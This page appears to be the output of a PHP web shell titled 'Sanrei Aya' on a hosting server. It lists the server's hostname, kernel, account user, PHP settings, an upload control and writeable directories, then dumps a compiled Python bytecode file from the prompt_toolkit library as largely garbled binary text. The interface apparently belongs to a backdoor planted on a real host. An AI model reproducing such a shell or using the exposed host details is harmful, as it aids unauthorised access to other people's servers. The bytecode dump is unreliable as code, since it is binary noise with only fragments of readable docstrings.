Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/prompt_toolkit/widgets/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/prompt_toolkit/widgets/__pycache__/dialogs.cpython-39.pyc
a

��Sh4
�@s�dZddlmZddlmZddlmZmZddlm	Z	ddl
mZmZddl
mZddlmZmZmZmZdd	lmZdd
lmZddlmZmZmZmZd
gZGdd
�d
�ZdS)zJ
Collection of reusable components for building full screen applications.
�)�annotations)�Sequence)�has_completions�	has_focus)�AnyFormattedText)�
focus_next�focus_previous)�KeyBindings)�AnyContainer�DynamicContainer�HSplit�VSplit)�AnyDimension)�	Dimension�)�Box�Button�Frame�Shadow�Dialogc	@s:eZdZdZddddd	d
d	dd�d
d�Zdd�dd�ZdS)ra�
    Simple dialog window. This is the base for input dialogs, message dialogs
    and confirmation dialogs.

    Changing the title and body of the dialog is possible at runtime by
    assigning to the `body` and `title` attributes of this class.

    :param body: Child container object.
    :param title: Text to be displayed in the heading of the dialog.
    :param buttons: A list of `Button` widgets, displayed at the bottom.
    �NTFr
rzSequence[Button] | None�boolr�None)�body�title�buttons�modal�width�with_background�returnc
	s:|�_|�_|pg}t�}t|�dkrft|d�}t|d�}	|jd|d�t�|jd|	d�t�|r�tt	t
�fdd��tddd	�dd
�t	t|d|d�tdddd
�d�g�}
n|}
t�}|jdt
d�t�|jdt
d�t�tt�fdd�|
d|du�rdn|||d�d�}�|�r0t	|d|d��_n|�_dS)Nrr����left)�filter�rightcs�jS�N�r���selfr&�H/usr/local/lib/python3.9/site-packages/prompt_toolkit/widgets/dialogs.py�<lambda>G�z!Dialog.__init__.<locals>.<lambda>)�	preferred�max)r�paddingZpadding_bottom)r.�key_bindings�)�minr-r,)r�height�tabzs-tabcs�jSr$)rr&r'r&r)r*\r+zclass:dialog.body)rr�stylerr/rr%zclass:dialog)rr4r)rrr	�lenr�addrrrrr�Dr
rrr�	container)
r(rrrrrrZ
buttons_kbZfirst_selectedZ
last_selectedZ
frame_body�kb�framer&r'r)�__init__*sP	
����
��zDialog.__init__)rcCs|jSr$)r8r'r&r&r)�__pt_container__kszDialog.__pt_container__)rNTNF)�__name__�
__module__�__qualname__�__doc__r;r<r&r&r&r)rs�AN)r@�
__future__r�typingrZprompt_toolkit.filtersrrZprompt_toolkit.formatted_textrZ)prompt_toolkit.key_binding.bindings.focusrrZ'prompt_toolkit.key_binding.key_bindingsr	Z prompt_toolkit.layout.containersr
rrr
Zprompt_toolkit.layout.dimensionrrr7�baserrrr�__all__rr&r&r&r)�<module>s�

Yohohohohohooho | Sanrei Aya